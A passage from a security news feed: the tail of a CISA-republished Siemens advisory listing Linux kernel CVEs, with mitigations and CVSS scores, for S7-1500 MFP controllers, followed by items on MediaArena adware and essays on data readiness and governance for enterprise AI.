<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43057</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: correctly handle tunneled traffic on IPV6_CSUM GSO fallback NETIF_F_IPV6_CSUM only advertises support for checksum offload of packets without IPv6 extension headers. Packets with extension headers must fall back onto software checksumming. Since TSO depends on checksum offload, those must revert to GSO. The below commit introduces that fallback. It always checks network header length. For tunneled packets, the inner header length must be checked instead. Extend the check accordingly. A special case is tunneled packets without inner IP protocol. Such as RFC 6951 SCTP in UDP. Those are not standard IPv6 followed by transport header either, so also must revert to the software GSO path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43057">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/358.html">CWE-358 Improperly Implemented Security Check for Standard</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43284</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm: esp: avoid in-place decrypt on shared skb frags MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(), so later paths that may modify packet data can first make a private copy. The IPv4/IPv6 datagram append paths did not set this flag when splicing pages into UDP skbs. That leaves an ESP-in-UDP packet made from shared pipe pages looking like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW fast path for uncloned skbs without a frag_list and decrypts in place over data that is not owned privately by the skb. Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching TCP. Also make ESP input fall back to skb_cow_data() when the flag is present, so ESP does not decrypt externally backed frags in place. Private nonlinear skb frags still use the existing fast path. This intentionally does not change ESP output. In esp_output_head(), the path that appends the ESP trailer to existing skb tailroom without calling skb_cow_data() is not reachable for nonlinear skbs: skb_tailroom() returns zero when skb-&gt;data_len is nonzero, while ESP tailen is positive. Thus ESP output will either use the separate destination-frag path or fall back to skb_cow_data().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43284">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/123.html">CWE-123 Write-what-where Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46174</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache Make sure resources are not improperly shared in the op cache and cause instruction corruption this way.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/123.html">CWE-123 Write-what-where Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46333</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ptrace: slightly saner 'get_dumpable()' logic The 'dumpability' of a task is fundamentally about the memory image of the task - the concept comes from whether it can core dump or not - and makes no sense when you don't have an associated mm. And almost all users do in fact use it only for the case where the task has a mm pointer. But we have one odd special case: ptrace_may_access() uses 'dumpable' to check various other things entirely independently of the MM (typically explicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for threads that no longer have a VM (and maybe never did, like most kernel threads). It's not what this flag was designed for, but it is what it is. The ptrace code does check that the uid/gid matches, so you do have to be uid-0 to see kernel thread details, but this means that the traditional "drop capabilities" model doesn't make any difference for this all. Make it all make a *bit* more sense by saying that if you don't have a MM pointer, we'll use a cached "last dumpability" flag if the thread ever had a MM (it will be zero for kernel threads since it is never set), and require a proper CAP_SYS_PTRACE capability to override.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46333">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269 Improper Privilege Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-019113 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-28</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-019113 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Heimdal data reveals MediaArena adware completes persistence before antivirus quarantine finishes]]></title>
<description><![CDATA[London, UK, 30 July 2026 – New data from Heimdal’s telemetry measures the gap between execution of the MediaArena adware and the completion of quarantine. The same pattern has been confirmed across more than 40 client environments. MediaArena is a browser-modifier adware family that Microsoft has...]]></description>
<link>https://tsecurity.de/de/3697484/it-security-nachrichten/heimdal-data-reveals-mediaarena-adware-completes-persistence-before-antivirus-quarantine-finishes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697484/it-security-nachrichten/heimdal-data-reveals-mediaarena-adware-completes-persistence-before-antivirus-quarantine-finishes/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:48 +0200</pubDate>
<content:encoded><![CDATA[<p>London, UK, 30 July 2026 – New data from Heimdal’s telemetry measures the gap between execution of the MediaArena adware and the completion of quarantine. The same pattern has been confirmed across more than 40 client environments. MediaArena is a browser-modifier adware family that Microsoft has tracked since 2023. It is low-severity, and that is […]</p>
<p>The post <a href="https://heimdalsecurity.com/blog/mediaarena-adware-persistence-antivirus-quarantine/">Heimdal data reveals MediaArena adware completes persistence before antivirus quarantine finishes</a> appeared first on <a href="https://heimdalsecurity.com/blog">Heimdal Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI model isn’t the problem. Your data was never ready for it]]></title>
<description><![CDATA[The meeting that changed my perspective



I remember sitting there and realizing I wasn’t thinking about the model at all. I was thinking about the data feeding it.



One discussion stands out in particular. We were evaluating how predictive analytics could improve sales forecasting for a natio...]]></description>
<link>https://tsecurity.de/de/3697426/it-security-nachrichten/your-ai-model-isnt-the-problem-your-data-was-never-ready-for-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697426/it-security-nachrichten/your-ai-model-isnt-the-problem-your-data-was-never-ready-for-it/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The meeting that changed my perspective</h2>



<p class="wp-block-paragraph">I remember sitting there and realizing I wasn’t thinking about the model at all. I was thinking about the data feeding it.</p>



<p class="wp-block-paragraph">One discussion stands out in particular. We were evaluating how predictive analytics could improve sales forecasting for a national portfolio of opportunities. Leadership wanted greater confidence in projected outcomes so resources could be prioritized earlier in the sales cycle. As conversations turned toward model accuracy, we discovered something more important. Different teams weren’t consistently recording opportunity stages, probability scores and client attributes. The model wasn’t struggling because it lacked sophistication. It was learning from business processes that had never been standardized in the first place. That meeting changed how I approached every AI initiative that followed.</p>



<p class="wp-block-paragraph">Throughout my career leading enterprise business intelligence initiatives, I’ve repeatedly watched organizations blame the algorithm when the real issue was inconsistent data, fragmented ownership across departments and business definitions that meant different things to different teams. AI doesn’t distinguish between disciplined and inconsistent business processes. It learns from both with equal confidence.</p>



<p class="wp-block-paragraph">I’d built and defended executive dashboards for years before that meeting, and dashboards had trained me to believe imperfect data was a manageable, even routine problem. Experienced leaders read a dashboard with context. They know which numbers to trust, which ones need a caveat and which gaps to mentally fill in based on what they already know about the business. Predictive AI doesn’t have that judgment. Machine learning assumes the historical data it’s trained on represents reality as it actually is. If two departments define “active customer” differently, or if a critical field has been silently incomplete for two fiscal years, the model doesn’t notice or compensate. It learns the inconsistency as ground truth, and it repeats that mistake at scale, with confidence, every single time it runs.</p>



<p class="wp-block-paragraph">That moment fundamentally changed how I approach every AI initiative. I stopped starting with technology and started with data integrity instead.</p>



<h2 class="wp-block-heading">5 questions I ask before any AI platform conversation</h2>



<p class="wp-block-paragraph">Today, I rarely begin AI discussions by talking about technology. Before any conversation about platforms or vendors, I ask five questions of the leadership team. Can we explain, in plain language, where this data actually comes from? Do the business leaders in the room agree on what our core definitions mean, or does “revenue” or “active account” shift depending on who’s presenting? Would we rely on this data to make a multimillion-dollar decision without a human manually double-checking it first? Is there a specific, named person accountable for every critical dataset, or does ownership dissolve the moment something goes wrong? And underneath all of it, are we actually solving a business problem, or are we chasing a technology because it’s the thing everyone else is talking about this quarter?</p>



<p class="wp-block-paragraph">I remember one initiative where these questions prevented us from moving too quickly. During an early assessment, we discovered that two operational systems treated the same customer differently because each had evolved around separate business processes. Executive reports appeared consistent because manual reconciliation had become part of the monthly reporting routine. Once we identified the inconsistency, the project paused while business stakeholders agreed on common definitions and ownership. That decision delayed the AI initiative by only a few weeks, but it likely prevented months of troubleshooting after deployment. More importantly, it strengthened confidence in every analytics initiative that followed.</p>



<p class="wp-block-paragraph">These conversations reveal far more about whether an organization is genuinely ready for AI than any vendor demonstration ever will. A polished proof-of-concept can make almost any dataset look production-ready for the ten minutes it’s on screen. These five questions don’t have that luxury. They tend to surface, quickly and uncomfortably, where an organization’s data confidence actually breaks down, and that’s the information leadership needs before committing budget and reputation to a rollout.</p>



<p class="wp-block-paragraph">This lines up with what the <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> has argued for a while now: governance and accountability belong at the foundation of an AI initiative, not layered in after a model is already in production. Governance built in retroactively tends to be theater, built to explain a failure that’s already happened rather than to prevent one.</p>



<h2 class="wp-block-heading">Leadership before technology</h2>



<p class="wp-block-paragraph">The organizations I’ve seen actually succeed with AI invest first in governance, ownership and shared business definitions, and only then in the platform itself. They clean up master data before they scale a model against it. They remove duplication in customer and product records. They assign accountability for datasets the same way they’d assign accountability for a budget line, with a name attached and consequences if it slips. This work rarely shows up in a demo, which is probably why it gets skipped so often in the rush toward deployment.</p>



<p class="wp-block-paragraph">One lesson I’ve seen repeatedly is that assigning ownership changes behavior almost immediately. Once business leaders understood they were accountable for the quality of specific datasets, not just the reports generated from them, conversations shifted. Instead of asking why dashboards looked different, teams began discussing why the underlying business process produced inconsistent information. Governance stopped being viewed as documentation and became part of everyday decision-making. The improvements weren’t dramatic overnight, but they were sustainable, and that consistency ultimately mattered more than any individual technology upgrade.</p>



<p class="wp-block-paragraph">I saw this firsthand during an executive reporting initiative where multiple leadership teams relied on the same performance dashboard but interpreted one KPI differently, because ownership had never been clearly assigned. Once the business designated a single owner for the metric and standardized its definition across reporting systems, disagreements disappeared almost overnight. More importantly, that same governance work later allowed predictive analytics to be introduced with confidence, because everyone was working from the same version of the truth.</p>



<p class="wp-block-paragraph">I’ve learned that AI projects rarely fail in the data science team. They fail months earlier, when leadership assumes the organization already understands its own data.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai">McKinsey’s research on scaling AI</a> reinforces this pattern at scale: the organizations that generate lasting value from AI are consistently the ones that pair the technology with real changes to their operating model and governance, rather than simply layering AI on top of how things already worked. That finding matches what I’ve observed leading enterprise analytics initiatives directly. The technology was rarely the constraint. The organization’s relationship with its own data was.</p>



<p class="wp-block-paragraph">It’s tempting to frame AI adoption as an engineering problem with a leadership footnote, when in practice it’s closer to the reverse. CIOs reporting on rebuilding an AI-ready data strategy make a related point: treating data ownership as a purely IT issue stops working once business units, product teams and AI platforms are all generating and transforming data continuously, which is exactly why accountability has to sit with named business leaders, not a technical team working in isolation. <a href="https://www.cio.com/article/4049233/5-actions-to-build-an-ai-ready-data-culture.html">A related piece on building an AI-ready data culture</a> puts it more bluntly: an organization can’t scale AI without first scaling trust in its own data, and that trust starts with culture and ownership, not tooling.</p>



<p class="wp-block-paragraph">I no longer ask whether an organization is AI-ready. I ask whether its leaders would bet on their own data without a human checking behind the model first. If the honest answer is no, the next investment shouldn’t be another AI platform or a more sophisticated model. It should be a stronger data foundation, built deliberately, with clear ownership, before a single additional AI use case gets greenlit.</p>



<p class="wp-block-paragraph">If another executive asked me for one piece of advice before approving a major AI investment, I’d tell them this: spend one day interrogating your data before spending another dollar on your model. What that conversation reveals will tell you more about your organization’s readiness than any vendor demonstration ever could.</p>



<p class="wp-block-paragraph">Organizations rarely fail because their AI isn’t intelligent enough. They struggle because they ask AI to learn from data that was never prepared to support intelligent decisions in the first place. The organizations that lead in this next era won’t be the ones with the most advanced models. They’ll be the ones that got their own house in order first, and knew it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, control matters more than capability]]></title>
<description><![CDATA[Ask most enterprise technology teams where they spend their AI strategy energy and you will get the same answer: figuring out which model to use. It feels like the right question. As organizations move from pilots into production and the real compliance, cost and continuity risks appear, it turns...]]></description>
<link>https://tsecurity.de/de/3697428/it-security-nachrichten/with-ai-control-matters-more-than-capability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697428/it-security-nachrichten/with-ai-control-matters-more-than-capability/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ask most enterprise technology teams where they spend their AI strategy energy and you will get the same answer: figuring out which model to use. It feels like the right question. As organizations move from pilots into production and the real compliance, cost and continuity risks appear, it turns out to be the wrong one.</p>



